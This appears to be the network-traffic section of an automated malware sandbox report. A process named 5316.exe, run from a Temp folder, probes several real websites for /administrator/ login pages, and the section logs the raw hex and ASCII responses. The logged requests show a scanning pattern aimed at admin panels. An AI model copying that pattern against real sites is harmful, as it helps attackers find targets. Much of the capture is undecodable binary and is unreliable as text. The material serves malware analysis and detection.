b1 9f e5 9f ba e5 9c b0 31 e5 8f b7 e5 9c b0 e5 9d 97 e9 a1 b9 e7 9b ae ef bc 88 e4 bb a5 e4 b8 8b e7 ae 80 e7 a7 b0 e2 80 9c e6 b5 a6 e6 b1 9f e5 9f ba e5 9c b0 31 e5 8f b7 e5 9c b0 e5 9d 97 e9 a1 b9 e7 9b ae e2 80 9d ef bc 89 e4 b8 be e8 a1 8c e5 bc 80 e5 b7 a5 e4 bb aa e5 bc 8f e3 80 82 e8 af a5 e9 a1 b9 e7 9b ae e7 94 b1 e4 b8 8a e6 b5 b7 e7 94 b3 e8 83 bd e8 83 bd e5 88 9b e8 83 bd e6 ba 90 e5 8f 91 e5 b1 95 e6 9c 89 e9 99 90 e5 85 ac e5 8f b8 e6 97 97 e4 b8 8b e4 b8 8a e6 b5 b7 e7 94 b3 e8 83 bd e6 b1 87 e9 a2 82 e6 88 bf e5 9c b0 e4 ba a7 e6 9c 89 e9 99 90 e5 85 ac e5 8f b8 e6 89 bf e5 bb ba e3 80 82 e6 b5 a6 e6 b1 9f e5 9f ba e5 9c b0 31 e5 8f b7 e5 9c b0 e5 9d 97 e9 a1 b9 e7 9b ae e4 bd 8d e4 ba 8e e9 97 b5 e8 a1 8c e5 8c ba 22 20 2f 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 74 61 6f 74 61 6f 7a 68 75 74 69 2e 63 6f 6d 2f 7a 62 5f 75 73 65 72 73 2f 74 68 65 6d 65 2f 74 61 6f 74 68 65 6d 65 2f 69 6d 61 67 65 2f 66 61 76 69 63 6f 6e 5f 64 65 66 61 75 6c 74 2e 69 63 6f 22 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 64 69 72 65 63 74 73 65 72 76 62 6d 73 2e 63 6f 6d 2f 73 74 79 6c 65 73 2f 7a 6f 6e 67 68 65 2f 73 74 61 74 69 63 2f 63 73 73 2f 66 6f 6e 74 2d 61 77 65 73 6f 6d 65 2e 6d 69 6e 5f 33 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 Data Ascii: 5f6b<!DOCTYPE html><html lang="zh-CN"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no"><meta name="renderer" content="webkit"><meta name="force-rendering" content="webkit"><meta http-equiv="X-UA-Compatible" content="IE=edge,Chrome=1"><meta name="applicable-device" content="pc,mobile"><title>1612</title><meta name="arclist" content="" /><meta name="Description" content="111" /><link rel="shortcut icon" href="http://www.taotaozhuti.com/zb_users/theme/taotheme/image/favicon_default.ico"><link rel="stylesheet" href="http://directservbms.com/styles/zonghe/static/css/font-awesome.min_3.css" type="text/css"><link rel="stylesheet" href="http

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	51485	216.239.32.21	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:20.234206915 CET	186	OUT	GET /administrator/ HTTP/1.1 Host: collinsgordonhenry.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:20.401971102 CET	470	IN	HTTP/1.1 301 Moved Permanently Location: http://www.collinsgordonhenry.com Date: Wed, 20 Dec 2023 02:13:20 GMT Content-Type: text/html; charset=UTF-8 Server: ghs Content-Length: 230 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 31 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 31 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 63 6f 6c 6c 69 6e 73 67 6f 72 64 6f 6e 68 65 6e 72 79 2e 63 6f 6d 22 3e 68 65 72 65 3c 2f 41 3e 2e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>301 Moved</TITLE></HEAD><BODY><H1>301 Moved</H1>The document has moved<A HREF="http://www.collinsgordonhenry.com">here</A>.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	51487	185.230.63.107	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:20.234244108 CET	184	OUT	GET /administrator/ HTTP/1.1 Host: newriverclimbing.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:20.457690001 CET	847	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 20 Dec 2023 02:13:20 GMT Content-Length: 0 Connection: keep-alive location: https://www.newriverclimbing.com/administrator strict-transport-security: max-age=3600 x-wix-request-id: 1703038400.3021651922681110185 Age: 0 Server-Timing: cache;desc=miss, varnish;desc=miss, dc;desc=42 X-Seen-By: VtqAe8Wu9wvSsl49B/X4+ewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLmUP/ddjOIocgASMjPBcXg4O5u3dMxPR3QRc6kpLZVuH,2d58ifebGbosy5xc+FRaluk32gyk0vT7DgIiSEBs3hHTNJk8ZjUOj+fZS3FQ2i1UyHq7dGLu5PvLWGpNJH+wlA==,2UNV7KOq4oGjA5+PKsX47PmOi36p/Q7Ico3sut0FtX4fbJaKSXYQ/lskq2jK6SGP,S+3YDkrdjZ6isF/aTRkOdUjmz5YjnwZx7K9uZU5HfPQ=,j59Gyti1PsMH6A+kxnM0t35dbfOFCYSohZzWUnx4ayk=,0gGrL7iazMoiuqlb7dEO3dDsKQWTSD/PxwQPpd67SEhoDATN0mDKMTaqoZUfJQh4UBKsSDIan9rjPNjFd8v1tg== Cache-Control: no-cache X-Content-Type-Options: nosniff
Dec 20, 2023 03:13:23.344422102 CET	250	OUT	GET /administrator/index.php HTTP/1.1 Host: newriverclimbing.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://www.newriverclimbing.com/administrator
Dec 20, 2023 03:13:23.533127069 CET	857	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 20 Dec 2023 02:13:23 GMT Content-Length: 0 Connection: keep-alive location: https://www.newriverclimbing.com/administrator/index.php strict-transport-security: max-age=3600 x-wix-request-id: 1703038403.4111651922681210185 Age: 0 Server-Timing: cache;desc=miss, varnish;desc=miss, dc;desc=42 X-Seen-By: VtqAe8Wu9wvSsl49B/X4+ewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLmUP/ddjOIocgASMjPBcXg4O5u3dMxPR3QRc6kpLZVuH,2d58ifebGbosy5xc+FRalq/opwH/6/oT1kZXhDyGQxt3vu//UuWCv/0tsMeoz9K6EpKKUOcNHpK3TM1rJJ5Tlw==,2UNV7KOq4oGjA5+PKsX47JzIq9ZmP05BQuFbD4KFyTFYgeUJqUXtid+86vZww+nL,NLdhiUa+sSIsGDI1KKnLVioG5v0XsZRzDHjumEtRhsY=,355BgrcJIkJgSeNTU+yiMhYscfXKeVSdXiuZ84ywgZ4=,0gGrL7iazMoiuqlb7dEO3VykJBCorZ8hHkHqeS6CMYYUVEyDN3A38tMpcHZdr0TkD5hgdkM3kJ2lBxKNrxdApg== Cache-Control: no-cache X-Content-Type-Options: nosniff

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	51553	166.62.28.100	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:20.251631021 CET	186	OUT	GET /administrator/ HTTP/1.1 Host: jayshreeautomation.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:20.874161005 CET	1286	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 02:13:20 GMT Server: Apache X-Powered-By: PHP/7.4.33 Upgrade: h2,h2c Connection: Upgrade Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 7369 Content-Type: text/html; charset=UTF-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 5d fb 72 da ba d6 ff bf 4f a1 43 a7 9b 64 4e 30 f7 92 34 49 cf e4 c2 6e 38 27 4d 33 49 ba 3b 7b 3a 1d 46 d8 02 dc 18 9b da 26 94 73 f6 7e 89 ef 89 bf 25 d9 06 d9 96 6f b1 c9 ad b4 d3 02 96 2c 2d 2d fd 24 2d 49 eb 72 30 b6 27 da fb 83 7f 54 2a a8 a7 5b 36 d6 65 72 4c 46 aa 8e 6c 32 99 6a d8 26 87 a5 ea 8d fb d5 aa 0e 55 1d 6b 92 32 b7 4b 48 36 14 f2 69 66 5b aa 42 ce 6e 3e 9e f7 ac 73 43 be 25 ca 61 69 88 35 8b 94 50 a5 f2 fe d5 c1 98 60 05 3e 26 c4 c6 68 6c db d3 0a f9 31 53 ef 0e 4b 27 86 6e 13 dd ae dc 2c a6 84 16 c5 7e 1d 96 6c f2 d3 ae 52 82 f6 91 3c c6 a6 45 ec 43 d5 32 2a bb bb ed bd 4a bd 04 05 85 c8 ec 2a aa 8d 07 1a 41 3a 9e 00 a9 8a 21 db aa ad 79 d5 b3 ef ef ff 8d 17 d6 d8 24 04 1d cd 6c 63 82 6d d5 d0 d1 bb 77 e8 7a 66 62 9b 7e f9 30 fb 8e dd af 3d 5d 51 b1 74 50 75 5e f4 d7 d7 d5 95 65 6d ac f4 24 62 68 e3 5d 42 18 03 9c a7 b7 64 31 37 4c c5 e2 9a 3d c1 fa 6c 88 65 7b 66 aa fa 08 19 43 74 7a 82 2c 62 de 19 68 62 d8 86 69 ed 40 35 77 c4 b4 89 89 be a8 f6 18 1d c9 32 b1 2c c3 54 09 24 fd 6e 02 4f 89 2e 2f 96 99 e0 e1 35 7b fb d4 54 ef 68 96 0f 04 9b 03 e3 27 b1 10 d6 15 f6 8b 28 e8 a3 5b f4 f5 04 6b da 32 eb b5 a1 cd 18 83 00 01 97 c6 1c 6a bc d4 b0 6e 43 ca 15 81 ce 27 e6 62 f9 e0 64 4c 26 aa 8c 35 ca b4 99 65 3b d4 d0 8a 55 99 70 cf d0 b9 7a 4b d0 07 6c a1 6b 9b f1 1e 72 b1 8e 30 06 aa 46 7c 2f 5f 62 f9 16 8f 28 0f f8 a7 1f b1 3c 86 9a b9 de db 41 c7 86 0d 1d 84 7e 57 35 8d 66 77 48 42 bf a1 63 02 2c c0 23 7f b1 37 80 aa 60 55 d7 b3 11 36 fd d5 10 80 9c ce 1a e4 d6 48 db 68 4c a6 26 e3 b5 47 b5 4b c0 25 c0 73 82 65 02 cc 0a b2 e0 9c e8 ff 25 68 82 a1 d5 5c 37 f8 9e ff 41 64 60 be 97 70 ad 92 09 d1 2d a8 16 92 2e cf 4f d0 75 5b f4 b0 83 1a b5 9a 30 a1 19 f1 1c b5 42 09 5f 7a 17 27 90 24 63 05 a3 eb 85 05 83 1c 86 95 0f 9f 0a b1 64 53 9d d2 66 72 10 15 8d 21 95 e2 09 25 81 57 42 37 63 62 11 f7 17 02 ec a1 99 05 f8 1b 02 03 ee b0 a9 1a 33 78 38 9d 6a c0 47 86 0e 86 51 98 42 0c 84 59 f9 ea 64 6a 98 36 b2 66 03 0b 46 e5 cc 26 92 88 16 19 72 1a c3 21 e0 d5 1e 13 34 26 da 14 d9 06 d0 a1 01 a7 d9 23 b7 7a 5a 2b d6 17 c8 86 89 87 12 cb d5 cc 2a b6 79 5a 69 a1 03 82 80 23 ea 48 07 92 e1 5d 05 00 a6 19 53 97 7e 5a d2 9d a1 d9 14 71 f4 6d 6b 4a 20 45 36 26 03 98 27 59 99 90 5d 67 59 35 63 8e 7e cc 00 a6 aa bd 40 74 c8 aa 26 ed 16 1b f8 f3 05 08 c6 77 04 9a e8 4e 1f 13 07 7f 6c f4 68 74 f4 3c d0 f0 47 c4 96 a5 1d 4a 0f ed 25 85 60 36 b8 e6 b4 4e af a7 2e cf 8f 2e 10 5e f1 9d 25 42 83 a7 1a b1 89 6f f6 f8 c3 7d c3 62 58 77 a6 81 9d cd 9c e2 90 ce cd 2b a8 6b cb e9 a6 16 c9 eb 99 ee cf 29 f4 b4 e5 30 9f 82 7b 68 68 80 2f 4a f5 c0 84 3e b6 28 ff 8d 99 c9 0f 10 98 11 76 d0 d9 c7 1e aa a2 8f 1f 7b 3b ce 14 c0 c6 be 33 dc d9 88 70 57 e0 ef f8 0e 3b 4f dd 35 f7 d5 70 a6 cb ac 98 8f 1f fb 80 7e fd d8 fc a2 ea 8a 31 df 82 da 3f 5f 9d ef 40 dd 17 30 7b ec 0c 09 86 89 80 58 db e8 7f a8 5a bd 6b 48 b5 57 08 c8 a4 59 25 fa 5e 64 fe fd 57 7f bf aa 56 d9 5a 59 75 aa 4e 5a 7d cf 7b 17 ff 41 57 dd f3 c3 d2 f5 cd 9f e7 dd eb b3 6e f7 a6 84 ce ae ba bf 1f 96 64 cb 92 e0 1f a5 3e b6 75 c8 32 e5 c3 d2 f7 d9 64 2a 7d 87 dc 5c d5 ee 6b 2c fd 9a 7d b7 aa d6 Data Ascii: ]rOCdN04In8'M3I;{:F&s~%o,--$-Ir0'T[6erLFl2j&Uk2KH6if[Bn>sC%ai5P`>&hl1SK'n,~lR<EC2JA:!y$lcmwzfb~0=]QtPu^em$bh]Bd17L=le{fCtz,bhbi@5w2,T$nO./5{Th'([k2jnC'bdL&5e;UpzKlkr0F\|/_b(<A~W5fwHBc,#7`U6HhL&GK%se%h\7Ad`p-.Ou[0B_z'$cdSfr!%WB7cb3x8jGQBYdj6fF&r!4&#zZ+yZi#H]S~ZqmkJ E6&'Y]gY5c~@t&wNlht<GJ%`6N..^%Bo}bXw+k)0{hh/J>(v{;3pW;O5p~1?_@0{XZkHWY%^dWVZYuNZ}{AWnd>u2d*}\k,}
Dec 20, 2023 03:13:20.874243021 CET	1286	IN	Data Raw: 7c 68 0c be 03 9c fb 13 43 51 87 2a 51 e8 5b 51 8c 5b 15 06 4d 72 e5 a0 81 a1 2c d0 60 24 1b 9a 61 1e 96 5e ff ce fe 94 90 46 86 f6 04 9b 80 d2 c3 52 0d 0a 34 a6 dc 2f e7 eb 5c 55 ec 31 f7 7b 4c d4 d1 d8 a6 0f a8 98 c3 b8 e2 66 a9 d7 6a ad 12 1a Data Ascii: \|hCQQ[Q[Mr,`$a^FR4/\U1{LfjAL%dCLMZX2mM6W_@N9.a`TP^neUftapla)Q(P'#f#C#Jr1Rjl7yN
Dec 20, 2023 03:13:20.874412060 CET	1286	IN	Data Raw: 05 b6 24 67 c6 84 3c d4 7e 24 86 4f 29 3b 26 d5 6d 28 d9 a5 7f ef dd 53 b9 66 bf 7a 7c b7 3c 1d 4e 3e 31 88 73 17 67 f7 06 39 ec 5c 94 99 6c f7 4d ac 8f 88 10 ec 97 4e 0e 74 45 73 6c 50 ef a7 63 83 fa 7b 31 2e 17 ea 1b 85 a0 9e ca d4 e2 e3 cf 4b Data Ascii: $g<~$O);&m(Sfz\|<N>1sg9\lMNtEslPc{1.K7qu?qu^T\|)e`Ob\.c~>^D\|/g_^v~;}z Dsqc,\X>3O/P.Dnb?Go&Wuzcy>zlQy
Dec 20, 2023 03:13:20.874589920 CET	1286	IN	Data Raw: c0 81 de 7c b0 71 fe 02 c4 9d 0d 12 d7 88 44 1a fc 68 03 c5 14 bc 9f ab ba 0c dc a7 27 cb 7d 8b 85 84 8a 82 24 73 f8 d3 ef 34 a2 80 29 08 2e f5 62 e4 f2 28 2e e5 42 2a 63 58 f2 c9 06 c7 d0 8d 3c 2f ec aa d7 d1 68 e5 a7 d1 a5 66 9e eb df 84 83 67 Data Ascii: \|qDh'}$s4).b(.BcX</hfgg'x^]QjI2Hab~b?VJL1ABf7FK}6m<5m[jq-Jp<FT02!}W"#l.ZuS
Dec 20, 2023 03:13:20.874808073 CET	1286	IN	Data Raw: bd e2 76 8d c5 a9 67 2d 6f 88 7c 3b e5 d5 55 47 67 e5 bf 0c 18 22 70 d1 95 47 2f 4c 18 eb cb bb 2b 6e bd 11 5d 08 af f1 8a 51 14 8b 28 7c 20 a1 19 23 83 73 42 2a 32 99 a2 59 96 07 14 ad 26 e7 91 b4 99 fa 2e 38 3d 41 4b b7 24 dc 3e 3d 96 3e ee a2 Data Ascii: vg-o\|;UGg"pG/L+n]Q(\| #sB*2Y&.8=AK$>=>KI[`;7Ak6]YHW]lvAi~cH1M,Q(H6~UH^MeY{\|HF7(K@l@=4\txjb-sEj]6
Dec 20, 2023 03:13:20.874921083 CET	1184	IN	Data Raw: 7b 2b dd 01 c2 c6 f9 5e 31 ce f7 12 ce 25 84 fd b1 71 d8 f7 94 1d f6 b1 c8 f0 2f d3 69 9f e3 b5 2f f1 28 2d ee ac cc cb 93 6f 5e f3 7b cc e2 23 58 05 22 89 5d 11 4c a1 6b 12 49 92 92 23 50 c5 91 15 bf 16 af 28 5b 46 fc 6a c7 5b 3d ed b6 8b 74 01 Data Ascii: {+^1%q/i/(-o^{#X"]LkI#P([Fj[=tuYVX a;^+a.rq;I!B(ZMPHR)R\(8uN \^}wWN{.?x^:~v/2;2bjF:dj;6SY
Dec 20, 2023 03:13:20.875878096 CET	250	OUT	GET /administrator/index.php HTTP/1.1 Host: jayshreeautomation.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://jayshreeautomation.com/administrator/
Dec 20, 2023 03:13:21.494821072 CET	1286	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 02:13:21 GMT Server: Apache X-Powered-By: PHP/7.4.33 Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 7369 Content-Type: text/html; charset=UTF-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 5d fb 72 da ba d6 ff bf 4f a1 43 a7 9b 64 4e 30 f7 92 34 49 cf e4 c2 6e 38 27 4d 33 49 ba 3b 7b 3a 1d 46 d8 02 dc 18 9b da 26 94 73 f6 7e 89 ef 89 bf 25 d9 06 d9 96 6f b1 c9 ad b4 d3 02 96 2c 2d 2d fd 24 2d 49 eb 72 30 b6 27 da fb 83 7f 54 2a a8 a7 5b 36 d6 65 72 4c 46 aa 8e 6c 32 99 6a d8 26 87 a5 ea 8d fb d5 aa 0e 55 1d 6b 92 32 b7 4b 48 36 14 f2 69 66 5b aa 42 ce 6e 3e 9e f7 ac 73 43 be 25 ca 61 69 88 35 8b 94 50 a5 f2 fe d5 c1 98 60 05 3e 26 c4 c6 68 6c db d3 0a f9 31 53 ef 0e 4b 27 86 6e 13 dd ae dc 2c a6 84 16 c5 7e 1d 96 6c f2 d3 ae 52 82 f6 91 3c c6 a6 45 ec 43 d5 32 2a bb bb ed bd 4a bd 04 05 85 c8 ec 2a aa 8d 07 1a 41 3a 9e 00 a9 8a 21 db aa ad 79 d5 b3 ef ef ff 8d 17 d6 d8 24 04 1d cd 6c 63 82 6d d5 d0 d1 bb 77 e8 7a 66 62 9b 7e f9 30 fb 8e dd af 3d 5d 51 b1 74 50 75 5e f4 d7 d7 d5 95 65 6d ac f4 24 62 68 e3 5d 42 18 03 9c a7 b7 64 31 37 4c c5 e2 9a 3d c1 fa 6c 88 65 7b 66 aa fa 08 19 43 74 7a 82 2c 62 de 19 68 62 d8 86 69 ed 40 35 77 c4 b4 89 89 be a8 f6 18 1d c9 32 b1 2c c3 54 09 24 fd 6e 02 4f 89 2e 2f 96 99 e0 e1 35 7b fb d4 54 ef 68 96 0f 04 9b 03 e3 27 b1 10 d6 15 f6 8b 28 e8 a3 5b f4 f5 04 6b da 32 eb b5 a1 cd 18 83 00 01 97 c6 1c 6a bc d4 b0 6e 43 ca 15 81 ce 27 e6 62 f9 e0 64 4c 26 aa 8c 35 ca b4 99 65 3b d4 d0 8a 55 99 70 cf d0 b9 7a 4b d0 07 6c a1 6b 9b f1 1e 72 b1 8e 30 06 aa 46 7c 2f 5f 62 f9 16 8f 28 0f f8 a7 1f b1 3c 86 9a b9 de db 41 c7 86 0d 1d 84 7e 57 35 8d 66 77 48 42 bf a1 63 02 2c c0 23 7f b1 37 80 aa 60 55 d7 b3 11 36 fd d5 10 80 9c ce 1a e4 d6 48 db 68 4c a6 26 e3 b5 47 b5 4b c0 25 c0 73 82 65 02 cc 0a b2 e0 9c e8 ff 25 68 82 a1 d5 5c 37 f8 9e ff 41 64 60 be 97 70 ad 92 09 d1 2d a8 16 92 2e cf 4f d0 75 5b f4 b0 83 1a b5 9a 30 a1 19 f1 1c b5 42 09 5f 7a 17 27 90 24 63 05 a3 eb 85 05 83 1c 86 95 0f 9f 0a b1 64 53 9d d2 66 72 10 15 8d 21 95 e2 09 25 81 57 42 37 63 62 11 f7 17 02 ec a1 99 05 f8 1b 02 03 ee b0 a9 1a 33 78 38 9d 6a c0 47 86 0e 86 51 98 42 0c 84 59 f9 ea 64 6a 98 36 b2 66 03 0b 46 e5 cc 26 92 88 16 19 72 1a c3 21 e0 d5 1e 13 34 26 da 14 d9 06 d0 a1 01 a7 d9 23 b7 7a 5a 2b d6 17 c8 86 89 87 12 cb d5 cc 2a b6 79 5a 69 a1 03 82 80 23 ea 48 07 92 e1 5d 05 00 a6 19 53 97 7e 5a d2 9d a1 d9 14 71 f4 6d 6b 4a 20 45 36 26 03 98 27 59 99 90 5d 67 59 35 63 8e 7e cc 00 a6 aa bd 40 74 c8 aa 26 ed 16 1b f8 f3 05 08 c6 77 04 9a e8 4e 1f 13 07 7f 6c f4 68 74 f4 3c d0 f0 47 c4 96 a5 1d 4a 0f ed 25 85 60 36 b8 e6 b4 4e af a7 2e cf 8f 2e 10 5e f1 9d 25 42 83 a7 1a b1 89 6f f6 f8 c3 7d c3 62 58 77 a6 81 9d cd 9c e2 90 ce cd 2b a8 6b cb e9 a6 16 c9 eb 99 ee cf 29 f4 b4 e5 30 9f 82 7b 68 68 80 2f 4a f5 c0 84 3e b6 28 ff 8d 99 c9 0f 10 98 11 76 d0 d9 c7 1e aa a2 8f 1f 7b 3b ce 14 c0 c6 be 33 dc d9 88 70 57 e0 ef f8 0e 3b 4f dd 35 f7 d5 70 a6 cb ac 98 8f 1f fb 80 7e fd d8 fc a2 ea 8a 31 df 82 da 3f 5f 9d ef 40 dd 17 30 7b ec 0c 09 86 89 80 58 db e8 7f a8 5a bd 6b 48 b5 57 08 c8 a4 59 25 fa 5e 64 fe fd 57 7f bf aa 56 d9 5a 59 75 aa 4e 5a 7d cf 7b 17 ff 41 57 dd f3 c3 d2 f5 cd 9f e7 dd eb b3 6e f7 a6 84 ce ae ba bf 1f 96 64 cb 92 e0 1f a5 3e b6 75 c8 32 e5 c3 d2 f7 d9 64 2a 7d 87 dc 5c d5 ee 6b 2c fd 9a 7d b7 aa d6 7c 68 0c be 03 9c fb 13 43 51 87 2a 51 e8 5b 51 8c 5b 15 06 4d 72 e5 a0 81 a1 2c d0 60 24 1b 9a 61 1e 96 5e ff ce Data Ascii: ]rOCdN04In8'M3I;{:F&s~%o,--$-Ir0'T[6erLFl2j&Uk2KH6if[Bn>sC%ai5P`>&hl1SK'n,~lR<EC2JA:!y$lcmwzfb~0=]QtPu^em$bh]Bd17L=le{fCtz,bhbi@5w2,T$nO./5{Th'([k2jnC'bdL&5e;UpzKlkr0F\|/_b(<A~W5fwHBc,#7`U6HhL&GK%se%h\7Ad`p-.Ou[0B_z'$cdSfr!%WB7cb3x8jGQBYdj6fF&r!4&#zZ+yZi#H]S~ZqmkJ E6&'Y]gY5c~@t&wNlht<GJ%`6N..^%Bo}bXw+k)0{hh/J>(v{;3pW;O5p~1?_@0{XZkHWY%^dWVZYuNZ}{AWnd>u2d}\k,}\|hCQQ[Q[Mr,`$a^
Dec 20, 2023 03:13:21.495749950 CET	1286	IN	Data Raw: fe 94 90 46 86 f6 04 9b 80 d2 c3 52 0d 0a 34 a6 dc 2f e7 eb 5c 55 ec 31 f7 7b 4c d4 d1 d8 a6 0f a8 98 c3 b8 e2 66 a9 d7 6a ad 12 1a 80 88 41 4c f6 02 8c e2 11 14 25 c3 64 43 4c 98 d2 89 a6 4d b1 a2 00 5a 58 32 fd 6d 4d b1 ec fd 0e 91 f7 1e ba f0 Data Ascii: FR4/\U1{LfjAL%dCLMZX2mM6W_@N9.a`TP^neUftapla)Q(P'#f#C#Jr1Rjl7yN61sQ_QOz6x&A~?;o
Dec 20, 2023 03:13:21.495881081 CET	1286	IN	Data Raw: 67 f7 06 39 ec 5c 94 99 6c f7 4d ac 8f 88 10 ec 97 4e 0e 74 45 73 6c 50 ef a7 63 83 fa 7b 31 2e 17 ea 1b 85 a0 9e ca d4 e2 e3 cf 4b 37 71 83 75 3f 1d 1b ac df 8b 71 b9 b0 de cc 8f 75 5e f9 54 7c 29 cf 65 d8 60 de 4f c7 06 f3 f7 62 5c 2e cc b7 f2 Data Ascii: g9\lMNtEslPc{1.K7qu?qu^T\|)e`Ob\.c~>^D\|/g_^v~;}z Dsqc,\X>3O/P.Dnb?Go&Wuzcy>zlQy^lvkMGcBE_wEQ)7
Dec 20, 2023 03:13:21.496491909 CET	1286	IN	Data Raw: f8 d3 ef 34 a2 80 29 08 2e f5 62 e4 f2 28 2e e5 42 2a 63 58 f2 c9 06 c7 d0 8d 3c 2f ec aa d7 d1 68 e5 a7 d1 a5 66 9e eb df 84 83 67 8b 87 67 27 93 c7 df 82 78 5e a8 e0 fa d4 15 5d b2 51 9d 10 a2 6a 19 98 49 32 c9 48 85 61 62 7e 62 3f b7 56 4a b3 Data Ascii: 4).b(.BcX</hfgg'x^]QjI2Hab~b?VJL1ABf7FK}6m<5m[jq-Jp<FT02!}W"#l.ZuSrSJtSnbRY7#M\|,
Dec 20, 2023 03:13:21.496870041 CET	1286	IN	Data Raw: af f1 8a 51 14 8b 28 7c 20 a1 19 23 83 73 42 2a 32 99 a2 59 96 07 14 ad 26 e7 91 b4 99 fa 2e 38 3d 41 4b b7 24 dc 3e 3d 96 3e ee a2 9a 8b 93 dc de 4b 49 5b b4 8d 92 60 3b bd ea cf ce db 37 41 e8 b4 c5 de dd ee 6b 36 17 a3 5d 59 48 04 e4 ba e8 d0 Data Ascii: Q(\| #sB*2Y&.8=AK$>=>KI[`;7Ak6]YHW]lvAi~cH1M,Q(H6~UH^MeY{\|HF7(K@l@=4\txjb-sEj]6-~Y4qCdCcey#<CcE#/
Dec 20, 2023 03:13:21.497052908 CET	1146	IN	Data Raw: cc cb 93 6f 5e f3 7b cc e2 23 58 05 22 89 5d 11 4c a1 6b 12 49 92 92 23 50 c5 91 15 bf 16 af 28 5b 46 fc 6a c7 5b 3d ed b6 8b 74 01 96 81 75 9c 59 56 58 aa 81 1d fe 10 20 da 9f 8e 61 b8 3b d7 83 1e c1 1d ee 9e bc 5e ab c5 b8 81 a3 2b 82 61 2e 12 Data Ascii: o^{#X"]LkI#P([Fj[=tuYVX a;^+a.rq;I!B(ZMPHR)R\(8uN \^}wWN{.?x^:~v/2;2bjF:dj;6SY(6P,>m6vr;0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	51864	192.185.100.42	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:20.261399031 CET	232	OUT	GET /administrator/index.php HTTP/1.1 Host: conalcorp.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://conalcorp.com/administrator/
Dec 20, 2023 03:13:20.401444912 CET	226	IN	HTTP/1.1 409 Conflict Date: Wed, 20 Dec 2023 02:13:20 GMT Server: Apache Content-Length: 83 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 20 3d 20 22 68 75 6d 61 6e 73 5f 32 31 39 30 39 3d 31 22 3b 20 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 74 72 75 65 29 3c 2f 73 63 72 69 70 74 3e Data Ascii: <script>document.cookie = "humans_21909=1"; document.location.reload(true)</script>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
